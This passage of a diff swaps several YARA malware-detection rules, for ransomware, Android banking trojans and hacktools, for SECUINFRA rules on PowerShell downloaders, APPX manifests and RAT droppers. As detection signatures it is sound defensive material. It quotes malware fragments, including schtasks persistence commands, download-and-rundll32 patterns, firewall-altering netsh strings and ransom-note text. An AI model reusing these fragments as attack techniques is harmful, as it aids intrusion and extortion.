-		$seq2 = { 4c 8d 84 24 d0 00 00 00 4c 89 b4 24 90 01 00 00 48 8d 15 d8 a2 17 00 48 8b cd e8 50 e1 ff ff 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 0c 83 7c 24 44 01 75 05 41 b6 01 eb 03 45 32 f6 48 8b 5c 24 28 45 84 f6 74 14 f6 85 74 0e 00 00 08 74 0b 48 8b d3 48 8b ce e8 15 03 00 00 48 8b cb e8 5d f4 ff ff 45 84 f6 74 17 f7 85 74 0e 00 00 00 10 00 00 74 0b 48 8b d3 48 8b cd e8 d1 01 00 00 48 83 bd 38 07 00 00 00 74 33 b2 01 48 8b cd e8 1d f1 fe ff 48 8b 8d 40 07 00 00 45 33 c0 48 8b d3 ff 95 38 07 00 00 33 d2 48 8b cd 44 8b f0 e8 fd f0 fe ff 41 83 fe 02 75 51 41 b4 01 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 5a 48 8d 4c 24 50 e8 ac 81 02 00 44 8b 44 24 40 44 8b c8 48 8b d3 48 8b ce e8 d9 f8 ff ff 8b f8 85 c0 74 37 48 8b d3 48 8b ce e8 68 eb ff ff b8 07 00 00 00 83 ff 01 0f 44 f8 }
-		$seq3 = { 48 8b d0 48 8d 4d 80 41 ff d4 48 8b cb ff 15 f2 fa 1e 00 48 8d 95 e0 00 00 00 48 8d 4d 80 41 ff d7 f6 47 3c 02 48 8d 8d 90 00 00 00 48 0f 44 4c 24 50 e8 f6 04 00 00 4c 8b f0 48 85 c0 0f 84 05 fe ff ff 48 8b 47 28 49 8b d6 4c 8b 0f 4c 8b 47 10 48 85 c0 74 53 48 8d 8d e0 00 00 00 48 89 4c 24 40 48 8d 0d 94 90 15 00 48 89 44 24 38 8b 47 38 89 44 24 30 48 8b 47 08 48 89 44 24 28 48 8b 44 24 58 48 89 44 24 20 e8 e0 42 fc ff 48 8b 4f 28 48 8d 15 b9 8e 15 00 48 8b d8 e8 3d 7a fd ff 85 c0 74 2a ff 47 38 eb 25 48 8d 85 e0 00 00 00 48 89 44 24 28 48 8d 0d a1 90 15 00 48 8b 44 24 58 48 89 44 24 20 e8 a2 42 fc ff 48 8b d8 49 8b ce ff 15 2e fa 1e 00 48 85 db 0f 84 68 fd ff ff 4c 8b 47 20 4d 85 c0 74 27 48 8b d3 48 8d 0d aa 90 15 00 e8 75 42 fc ff 48 8b cb 4c 8b f0 ff 15 01 fa 1e 00 4d 85 f6 0f 84 3b fd ff ff 49 8b de 4c 8b 47 30 4d 85 c0 74 27 48 8b d3 48 8d 0d 8a 90 15 00 e8 45 42 fc ff 48 8b cb 4c 8b f0 ff 15 d1 f9 1e 00 4d 85 f6 0f 84 0b fd ff ff 49 8b de f6 47 3c 02 74 27 48 8b d3 48 8d 0d 75 90 15 00 e8 18 42 fc ff 48 8b cb 48 8b f8 ff 15 a4 f9 1e 00 48 }
-		$seq4 = { 48 81 ec 08 03 00 00 48 8b 05 e2 61 23 00 48 33 c4 48 89 84 24 f0 02 00 00 33 d2 48 8d 8c 24 e0 00 00 00 41 b8 08 02 00 00 e8 c2 f5 16 00 41 b8 04 01 00 00 48 8d 94 24 e0 00 00 00 48 8d 0d c5 94 21 00 ff 15 07 ee 18 00 48 8d 8c 24 e0 00 00 00 ff 15 d1 ef 18 00 85 c0 74 63 33 d2 48 8d 4c 24 70 44 8d 42 68 e8 85 f5 16 00 b8 05 00 00 00 c7 44 24 70 68 00 00 00 66 89 84 24 b0 00 00 00 48 8d 8c 24 e0 00 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 45 33 c0 48 8d 44 24 70 33 d2 48 89 44 24 40 33 c0 48 89 44 24 38 48 89 44 24 30 89 44 24 28 89 44 24 20 ff 15 52 ed 18 00 48 8b 8c 24 f0 02 00 00 48 33 cc e8 c2 cf 16 00 48 }
-		$seq5 = { 48 89 74 24 48 48 8d 0d 99 5e 18 00 4c 89 74 24 50 48 8b d5 4c 89 7c 24 58 e8 5f 13 17 00 4c 8d b7 0c 08 00 00 49 63 06 85 c0 0f 84 b0 00 00 00 48 8b c8 48 c1 e1 03 ff 15 a8 5f 22 00 48 8b f0 48 85 c0 0f 84 04 01 00 00 45 33 ff ba 00 01 00 00 41 8b df 90 48 8b 07 48 85 c0 74 16 4c 39 78 28 74 08 8b cb ff c3 48 89 04 ce 48 8b 00 48 85 c0 75 ea 48 83 c7 08 48 83 ea 01 75 d8 49 63 16 4c 8d 0d ce 01 00 00 41 b8 08 00 00 00 48 8b ce e8 c0 14 17 00 85 db 74 3e 4c 8b f6 49 8b 0e e8 c1 03 00 00 48 8b f8 48 8b cd 48 85 c0 0f 84 85 00 00 00 4c 8b c0 48 8d 15 58 5a 18 00 e8 33 a8 ff ff 48 8b cf ff 15 22 5f 22 00 41 ff c7 49 83 c6 08 44 }
+		$netsh_delete = "netsh firewall delete" wide
+		$netsh_add = "netsh firewall add" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >300KB and 4 of ($seq*)
+		uint16(0)==0x5a4d and filesize <100KB and ($netsh_delete or $netsh_add)
 }
-rule ARKBIRD_SOLG_MAL_Unknown_PE_Jul_2021_1 : FILE
+rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll_1 : POWERSHELL DOWNLOAD FILE
 {
 	meta:
-		description = "Detect unknown TA that focus russian people"
-		author = "Arkbird_SOLG"
-		id = "228e194c-84d9-562a-8811-326c5efeafae"
-		date = "2020-07-14"
-		modified = "2021-07-14"
-		reference = "https://twitter.com/ShadowChasing1/status/1415292150258880513"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-14/MAL_Unknown_PE_Jul_2021_1.yara#L1-L19"
+		description = "Detect a Download to %temp% and execution with rundll32.exe"
+		author = "SECUINFRA Falcon Team"
+		id = "6b09a6f0-29c6-5baf-ae64-7aa49a37a9d3"
+		date = "2022-09-02"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L1-L17"
 		license_url = "N/A"
-		logic_hash = "9c61d2e29315bea0cdaf45b6dc48d35b8cc2d85de84afbb3a213f095a555af71"
-		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "ef80365cdbeb46fa208e98ca2f73b7d3d2bde10ea6c3f7cc22d4bbf39d921524"
-		tlp = "white"
-		adversary = "-"
+		logic_hash = "4d7860dc94614b10bc0eea0189ad9b964399d4ee6404ebeaef40720c716c592d"
+		score = 65
+		quality = 70
+		tags = "POWERSHELL, DOWNLOAD, FILE"
 
 	strings:
-		$s1 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 54 00 52 00 20 00 25 00 73 00 20 00 2f 00 52 00 49 00 20 00 31 00 20 00 2f 00 53 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 45 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 46 }
-		$s2 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 45 00 6e 00 64 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 }
-		$s3 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 46 00 20 00 3c 00 20 00 25 00 73 }
-		$s4 = "6ad5e187ae3e8911c420434551678df2.txt" fullword wide
-		$s5 = { 55 52 4c 44 6f 77 6e 6c 6f 61 64 65 72 }
-		$s6 = { 64 6c 6c 00 4d 79 45 78 70 6f 72 74 }
+		$location = "$Env:temp" nocase
+		$download = "downloadfile(" nocase
+		$rundll = "rundll32.exe"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >8KB and 5 of ($s*)
+		filesize <100KB and $location and $download and $rundll
 }
-rule ARKBIRD_SOLG_Ran_Robbinhood_Oct_2020_1 : FILE
+rule SECUINFRA_SUSP_Powershell_Base64_Decode : POWERSHELL B64 FILE
 {
 	meta:
-		description = "Detect RobbinHood ransomware"
-		author = "Arkbird_SOLG"
-		id = "adaacb06-0738-5d2b-b97e-b9007341f743"
-		date = "2020-11-04"
-		modified = "2020-11-05"
-		reference = "https://twitter.com/joakimkennedy/status/1323957238680178689"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-05/RobbinHood/Ran_RobbinHood_Oct_2020_1.yar#L1-L20"
+		description = "Detects PowerShell code to decode Base64 data. This can yield many FP"
+		author = "SECUINFRA Falcon Team"
+		id = "7cb01c0b-d7e3-5196-b78d-f41765ba0368"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L19-L31"
 		license_url = "N/A"
-		logic_hash = "72d0e9b1e2f6aee8f24125e6e6801329e2fad016f05a94ad65c04874a016d09d"
-		score = 75
-		quality = 67
-		tags = "FILE"
-		hash1 = "7c7ef3ab31ab91a7379bc2e3f32473dfa7adf662d0c640ef994103f6022a092b"
-		hash2 = "f927dd9044d7fa874dc6b98a0f5c9c647f3a9e5393bfe034b425cbf8db93e501"
-		hash2 = "3f56501f764d49723188bb119845fec4f2419a5080b74513fd0734e2a628e754"
+		logic_hash = "b323089ac61823d969d04a05890ad9fffe8589165d4b026b08e9fd633d4247de"
+		score = 60
+		quality = 50
+		tags = "POWERSHELL, B64, FILE"
 
 	strings:
-		$seq = { 20 21 3d 20 20 3c 3d 3d 20 61 73 20 20 61 74 20 20 66 70 3d 20 69 73 20 20 6c 72 3a 20 6f 66 20 20 6f 6e 20 20 70 63 3d 20 73 70 3a 20 73 70 3d 25 76 0d 0a 29 20 3d 20 29 20 6d 3d 2b 49 6e 66 2c 20 6e 20 2d 49 6e 66 2e 62 61 74 2e 63 6d 64 2e 63 6f 6d 2e 65 78 65 2f 50 49 44 31 30 36 30 33 31 32 35 3a 20 70 3d 41 43 44 54 41 43 53 54 41 45 44 54 41 45 53 54 41 4b 44 54 41 4b 53 54 41 57 53 54 41 68 6f 6d 41 74 6f 69 43 45 53 54 43 68 61 6d 44 61 73 68 45 45 53 54 47 4f 47 43 4a 75 6c 79 4a 75 6e 65 4c 69 73 75 4d 32 52 74 4d 32 52 7a 4d 32 5a 79 4d 32 63 79 4d 32 64 77 4d 33 42 79 4d 69 61 6f 4d 6f 64 69 4e 33 6f 3d 4e 5a 44 54 4e 5a 53 54 4e 65 77 61 4e 6a 41 79 51 56 4a 44 51 56 5a 51 53 41 53 54 53 74 61 74 54 55 31 54 54 68 61 69 54 6b 56 47 55 46 42 55 57 45 53 54 57 45 78 54 59 32 31 30 59 32 31 6b 59 32 35 6d 59 32 46 69 59 32 46 7a 59 32 4d 3d 59 32 52 34 59 32 52 6d 59 32 52 79 59 32 55 78 59 32 55 79 59 32 56 79 59 32 5a 6e 59 32 5a 77 59 32 5a 79 59 32 64 74 59 32 68 74 59 32 6c 69 59 32 78 7a 59 33 42 70 59 33 42 77 59 33 49 79 59 33 4a 30 59 33 4a 33 59 33 4d 3d 59 33 4e 32 59 33 4e 6f 59 33 4e 73 59 33 4e 79 59 33 4e 7a 59 33 52 6d 59 57 39 70 59 57 46 6a 59 57 49 30 59 57 4a 72 59 57 4e 30 59 57 4e 6f 59 57 4e 77 59 57 4e 79 59 57 52 69 59 57 52 70 59 57 52 77 59 57 52 7a 59 57 56 7a 59 57 6b 3d 59 57 6c 30 59 57 6c 6d 59 57 70 73 59 57 77 3d 59 58 42 71 59 58 42 72 59 58 4a 33 59 58 4e 30 59 58 4e 34 59 58 4e 6a 59 58 4e 6d 59 58 4e 74 59 58 4e 77 59 58 5a 70 59 58 64 6e 59 6d 31 77 59 6d 46 30 59 6d 46 35 59 6d 46 6a 59 6d 46 72 59 6d 46 79 59 6d 4d 32 59 6d 4d 33 59 6d 4e 76 59 6d 52 69 59 6d 5a 6d 59 6d 64 30 59 6d 6c 6e 59 6d 6c 72 59 6d 6c 75 59 6d 74 36 59 6d 74 6d 59 6d 74 77 59 6e 42 33 59 6e 4a 6b 59 6e 4e 68 59 6e 56 77 59 6e 6f 79 59 77 3d 3d 5a 32 38 3d 5a 32 46 74 5a 32 52 69 5a 32 68 76 5a 32 6c 6d 5a 33 42 6e 5a 33 4a 35 5a 33 6f 3d 5a 47 31 77 5a 47 35 6e 5a 47 39 30 5a 47 39 6a 5a 47 46 30 5a 47 46 6a 5a 47 46 7a 5a 47 49 3d 5a 47 49 77 5a 47 49 7a 5a 47 4a 34 5a 47 4a 68 5a 47 4a 6d 5a 47 4d 79 5a 47 4e 6f 5a 47 4e 79 5a 47 4e 7a 5a 47 52 6b 5a 47 52 7a 5a 47 56 74 5a 47 56 79 5a 47 56 7a 5a 47 5a 7a 5a 47 64 6a 5a 47 6c 30 5a 47 6c 6d 5a 47 6c 74 5a 47 6c 77 5a 47 6c 79 5a 47 70 32 5a 48 4a 33 5a 48 4a 6d 5a 48 4e 30 5a 48 4e 69 5a 48 4e 72 5a 48 52 6b 5a 48 64 6d 5a 48 64 6e 5a 48 64 7a 5a 48 68 30 5a 48 68 34 5a 48 68 69 5a 48 68 6d 5a 48 68 6e 5a 57 31 73 5a 57 52 69 5a 58 42 72 5a 58 42 7a 5a 58 4a 6d 5a 58 4e 74 5a 58 68 6d 5a 6d 31 69 5a 6d 39 7a 5a 6d 4a 33 5a 6d 52 69 5a 6d 59 3d 5a 6d 5a 6b 5a 6d 5a 6d 5a 6d 67 3d 5a 6d 68 6b 5a 6d 78 32 5a 6d 78 68 5a 6d 78 6d 5a 6e 42 34 5a 6e 42 72 5a 6e 4a 74 5a 6e 4e 6f 5a 6e 56 73 5a 6e 68 6e 0a 09 6d 3d 5d }
-		$com1 = "os/exec.(*Cmd).Run" fullword ascii
-		$com2 = "os/exec.(*Cmd).Start" fullword ascii
-		$com3 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 31 2e 76 62 73 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 32 2e 76 62 73 43 }
-		$str1 = { 63 6d 64 7a 63 7a 4e 68 63 73 }
-		$str2 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 69 62 32 39 30 63 33 52 68 64 48 56 7a 63 47 39 73 61 57 4e 35 49 47 6c 6e 62 6d 39 79 5a 57 46 73 62 47 5a 68 61 57 78 31 63 6d 56 7a }
-		$str3 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 79 5a 57 4e 76 64 6d 56 79 65 57 56 75 59 57 4a 73 5a 57 51 67 62 6d 38 3d }
+		$b64_decode = "[System.Convert]::FromBase64String("
 
 	condition:
-		uint16(0)==0x5a4d and filesize >600KB and $seq and 2 of ($com*) and 2 of ($str*)
+		filesize <500KB and $b64_decode
 }
-/*
- * YARA Rule Set
- * Repository Name: Telekom Security
- * Repository: https://github.com/telekom-security/malware_analysis/
- * Retrieval Date: 2024-08-04
- * Git Commit: bf832d97e8fd292ec5e095e35bde992a6462e71c
- * Number of Rules: 12
- * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule TELEKOM_SECURITY_Crylock_Binary : FILE
+rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Manifest_Feb23
 {
 	meta:
-		description = "Detects CryLock ransomware v2.3.0.0"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "5d46adf6-3ea4-5e3d-ac33-1292c076c0df"
-		date = "2021-06-28"
-		modified = "2021-07-08"
-		reference = "TBA"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/crylock/crylock_20210706.yar#L1-L27"
+		description = "Detects suspicious Microsoft Windows APPX/MSIX Installer Manifests"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "f24f7e03-3cc5-5214-b6d2-205b69898636"
+		date = "2023-02-01"
+		modified = "2023-02-07"
+		reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Manifest_Feb23.yar#L1-L25"
 		license_url = "N/A"
-		logic_hash = "990be4604c5737383cce1b32dfbf3bc066367d7bf4652e2549730cdeccf1f413"
-		score = 75
+		logic_hash = "4e3de25fdad9d76cefbb191424a739368b521c4f234656c397f4122debe749fa"
+		score = 65
 		quality = 70
-		tags = "FILE"
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = "how_to_decrypt.hta" ascii
-		$s2 = "UAC annoy and ask admin rights" ascii
-		$s3 = "<%UNDECRYPT_DATETIME%>" ascii
-		$s4 = "<%RESERVE_CONTACT%>" ascii
-		$s5 = "<%MAIN_CONTACT%>" ascii
-		$s6 = "<%HID%>" ascii
-		$s7 = "Get local IPs list" ascii
-		$s8 = "Get password hash" ascii
-		$s9 = "END PROCESSES KILL LIST" ascii
-		$s10 = "CIS zone detected" ascii
-		$s11 = "Launch encryption threads..." ascii
-		$s12 = "FastBlackRabbit" ascii
-		$s13 = "Preliminary password hash calculation" ascii
-		$s14 = "Encrypted:" ascii
+		$xlmns = "http://schemas.microsoft.com/appx/manifest/"
+		$identity = "OID.2.25.311729368913984317654407730594956997722=1"
+		$s_entrypoint = "EntryPoint=\"Windows.FullTrustApplication\""
+		$s_capability = "runFullTrust"
+		$s_peExt = ".exe"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >150KB and filesize <1MB and 8 of ($s*)
+		uint32be(0x0)==0x3C3F786D and $xlmns and $identity and 2 of ($s*)
 }
-rule TELEKOM_SECURITY_Crylock_Hta : FILE
+rule SECUINFRA_DROPPER_WSHRAT_Stage_1 : FILE
 {
 	meta:
-		description = "Detects CryLock ransomware how_to_decrypt.hta ransom note"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "cf6ba6d2-beca-5da0-bb2d-0b8b52418a5e"
-		date = "2021-06-28"
-		modified = "2021-07-08"
-		reference = "TBA"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/crylock/crylock_20210706.yar#L29-L53"
+		description = "Detects the first stage of WSHRAT as obfuscated JavaScript"
+		author = "SECUINFRA Falcon Team"
+		id = "3bd363dc-3183-595e-931b-668eb17495f5"
+		date = "2022-11-02"
+		modified = "2022-02-27"
+		reference = "https://bazaar.abuse.ch/sample/ad24ae27346d930e75283b10d4b949a4986c18dbd5872a91f073334a08169a14/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/wshrat.yar#L1-L18"
 		license_url = "N/A"
-		logic_hash = "3b603a395f872d74d54b98a8ac6e6eb71c3bd0f076b4c834fcb4922e2aaa58b9"
+		hash = "793eff1b2039727e76fdd04300d44fc6"
+		logic_hash = "1390929d06bd1259dbab425fd4e953119f632be460f57756a0c226e9f510d75a"
 		score = 75
 		quality = 70
 		tags = "FILE"
 
 	strings:
-		$s1 = "var main_contact =" ascii
-		$s2 = "var max_discount =" ascii
-		$s3 = "<title>CryLock</title>" ascii
-		$s4 = "var discount_date = new Date(" ascii
-		$s5 = "var main_contact =" ascii
-		$s6 = "var hid = " ascii
-		$s7 = "var second_contact = " ascii
-		$s8 = "document.getElementById('main_contact').innerHTML = main_contact;" ascii
-		$s9 = "document.getElementById('second_contact').innerHTML = second_contact;" ascii
-		$s10 = "document.getElementById('hid').innerHTML = hid;" ascii
-		$s11 = "be able to decrypt your files. Contact us" ascii
-		$s12 = "Attention! This important information for you" ascii
-		$s13 = "higher will become the decryption key price" ascii
-		$s14 = "Before payment, we can decrypt three files for free." ascii
+		$a1 = "'var {0} = WS{1}teObject(\"ado{2}am\");"
+		$b1 = "String[\"prototype\"]"
+		$b2 = "this.replace("
+		$b3 = "Array.prototype"
 
 	condition:
-		filesize <100KB and 8 of ($s*)
+		filesize <1500KB and $a1 and #b3>3 and #b1>2 and $b2
 }
-rule TELEKOM_SECURITY_Android_Teabot : FILE
+rule SECUINFRA_DROPPER_Valyria_Stage_1 : JAVASCRIPT VBS VALYRIA FILE
 {
 	meta:
-		description = "matches on dumped, decrypted V/DEX files of Teabot"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "9db701bf-be84-5236-97f7-67043cf3ea93"
-		date = "2021-09-14"
-		modified = "2021-09-14"
-		reference = "https://github.com/telekom-security/malware_analysis/"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/teabot.yar#L1-L23"
+		description = "Family was taken from VirusTotal"
+		author = "SECUINFRA Falcon Team"
+		id = "7e2ab9db-142c-5dee-92b7-4a70d747c540"
+		date = "2022-02-18"
+		modified = "2022-02-18"
+		reference = "https://bazaar.abuse.ch/sample/c8a8fea3cbe08cd97e56a0e0dbc59a892f8ab1ff3b5217ca3c9b326eeee6ca66/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/valyria.yar#L1-L23"
 		license_url = "N/A"
-		hash = "37be18494cd03ea70a1fdd6270cef6e3"
-		logic_hash = "5aa7fdb191c36510c7698f3eae40c0b7f15c944b8f60113bbb4e40fc926579b8"
+		logic_hash = "94643123a4be26c818d43a77b907edf8651d306463f4df750db67cef790f10eb"
 		score = 75
-		quality = 45
-		tags = "FILE"
-		version = "20210819"
+		quality = 70
+		tags = "JAVASCRIPT, VBS, VALYRIA, FILE"
 
 	strings:
-		$dex = "dex"
-		$vdex = "vdex"
-		$s1 = "ERR 404: Unsupported device"
-		$s2 = "Opening inject"
-		$s3 = "Prevented samsung power off"
-		$s4 = "com.huawei.appmarket"
-		$s5 = "kill_bot"
-		$s6 = "kloger:"
-		$s7 = "logged_sms"
-		$s8 = "xiaomi_autostart"
+		$a1 = "<script language=\"vbscript\">"
+		$a2 = "<script language=\"javascript\">"
+		$b1 = "window.resizeTo(0,0);"
+		$b2 = ".Environment"
+		$b3 = ".item().Name"
+		$b4 = "v4.0.30319"
+		$b5 = "v2.0.50727"
+		$c1 = "Content Writing.docx"
+		$c2 = "eval"
 
 	condition:
-		($dex at 0 or $vdex at 0) and 6 of ($s*)
+		filesize <600KB and all of ($a*) and 3 of ($b*) and 1 of ($c*)
 }
-rule TELEKOM_SECURITY_Android_Flubot : FILE
+rule SECUINFRA_MAL_Agenttesla_Stage_1 : JAVASCRIPT AGENTTESLA OBFUSCATORIO FILE
 {
 	meta:
-		description = "matches on dumped, decrypted V/DEX files of Flubot version > 4.2"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "d6d1eebc-961f-5032-af04-4c95f364a74d"
-		date = "2021-09-14"
-		modified = "2021-09-14"
-		reference = "https://github.com/telekom-security/malware_analysis/"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/flubot/flubot.yar#L1-L19"
+		description = "Detects the first stage of AgentTesla (JavaScript)"
+		author = "SECUINFRA Falcon Team"
+		id = "0a098f27-8dbc-5749-9a0d-fd0198184c7a"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://bazaar.abuse.ch/sample/bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/agent_tesla.yar#L1-L18"
 		license_url = "N/A"
-		hash = "37be18494cd03ea70a1fdd6270cef6e3"
-		logic_hash = "db22e0890dfad7cb9cb1d18aadb406514e5e8874051aa7f07a4bb93da9db68df"
+		hash = "bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec"
+		logic_hash = "7c21f80a02aa161ffb2edf47aff796f22aff2a563abcb0097cc86371c05e516d"
 		score = 75
 		quality = 45
-		tags = "FILE"
-		version = "20210720"
+		tags = "JAVASCRIPT, AGENTTESLA, OBFUSCATORIO, FILE"
 
 	strings:
-		$dex = "dex"
-		$vdex = "vdex"
-		$s1 = "LAYOUT_MANAGER_CONSTRUCTOR_SIGNATURE"
-		$s2 = "java/net/HttpURLConnection;"
-		$s3 = "java/security/spec/X509EncodedKeySpec;"
-		$s4 = "MANUFACTURER"
+		$mz = "TVq"
+		$a1 = ".jar"
+		$a2 = "bin.base64"
+		$a3 = "appdata"
+		$a4 = "skype.exe"
 
 	condition:
-		($dex at 0 or $vdex at 0) and 3 of ($s*)
+		filesize <500KB and $mz and 3 of ($a*)
 }
-rule TELEKOM_SECURITY_Get_Windows_Proxy_Configuration : CAPABILITY HACKTOOL
+rule SECUINFRA_DROPPER_Njrat_VBS : VBS NJRAT DROPPER FILE
 {
 	meta:
-		description = "Queries Windows Registry for proxy configuration"
-		author = "Thomas Barabosch, Deutsche Telekom Security"
-		id = "b67b0b70-a95f-5c65-a522-ef4f41e36159"
-		date = "2022-01-14"
-		modified = "2023-12-12"
-		reference = "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-ie-clientnetworkprotocolimplementation-hklmproxyserver"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L44-L57"
+		description = "No description has been set in the source file - SecuInfra"
+		author = "SECUINFRA Falcon Team"
+		id = "5296667a-2932-597e-8f49-b7fa755cb387"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://bazaar.abuse.ch/sample/daea0b5dfcc3e20b75292df60fe5f0e16a40735254485ff6cc7884697a007c0d/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/njrat.yar#L2-L23"
 		license_url = "N/A"
-		logic_hash = "db52782a56d42f6e460466ea46993490bbbceeb7422d45211f064edb2e37a8eb"
+		logic_hash = "7640be8850992ee7f05e85e1f781b4c63ccf958cf62da8deacfe9bb116627ceb"
 		score = 75
 		quality = 70
-		tags = "CAPABILITY, HACKTOOL"
+		tags = "VBS, NJRAT, DROPPER, FILE"
 
 	strings:
-		$a = "Software\\Microsoft\\Windows\\Currentversion\\Internet Settings" ascii wide
-		$b = "ProxyEnable" ascii wide
-		$c = "ProxyServer" ascii wide
+		$a1 = "[System.Convert]::FromBase64String( $Codigo.replace(" wide
+		$a2 = "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" wide
+		$b1 = "CreateObject(\"WScript.Shell\")" wide
+		$b2 = "\"R\" + \"e\" + \"p\" + \"l\" + \"a\" + \"c\" + \"e\"" wide
+		$b3 = "BBBB\" + \"BBBBBBB\" + \"BBBBBBB\" + \"BBBBBBBB" wide
+		$b4 = "& DGRP & NvWt & DGRP &" wide
+		$b5 = "= ogidoC$" wide
 
 	condition:
-		all of them
+		filesize <300KB and ((1 of ($a*)) or (2 of ($b*)))
 }
-rule TELEKOM_SECURITY_Cn_Utf8_Windows_Terminal : CAPABILITY HACKTOOL
+rule SECUINFRA_DROPPER_Asyncrat_VBS_February_2022_1 : FILE
 {
 	meta:
-		description = "This is a (dirty) hack to display UTF-8 on Windows command prompt."
-		author = "Thomas Barabosch, Deutsche Telekom Security"
-		id = "a1beee71-c526-58fb-a255-dba55ef7535b"
-		date = "2022-01-14"
-		modified = "2023-12-12"
-		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/hacktools/hacktools.yar#L59-L71"
+		description = "No description has been set in the source file - SecuInfra"
+		author = "SECUINFRA Falcon Team"
+		id = "80f84c2f-7af0-55c1-bc06-d605beae3e33"
+		date = "2022-02-21"
+		modified = "2022-02-21"
+		reference = "https://bazaar.abuse.ch/sample/06cd1e75f05d55ac1ea77ef7bee38bb3b748110b79128dab4c300f1796a2b941/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/asyncrat.yar#L2-L18"
 		license_url = "N/A"
-		logic_hash = "4c91280c3d6d3b48c4ee11bf3d0c2baecee1368fbf3951c0a3bf386454c557cf"
-		score = 40
-		quality = 20
-		tags = "CAPABILITY, HACKTOOL"
+		logic_hash = "80c86b0cbb7382135bb9ae8c80ac42f499081fe1fe48fadf21f0e136bcc04358"
+		score = 75
+		quality = 70
+		tags = "FILE"
 
 	strings:
-		$a = " chcp 65001 " ascii wide
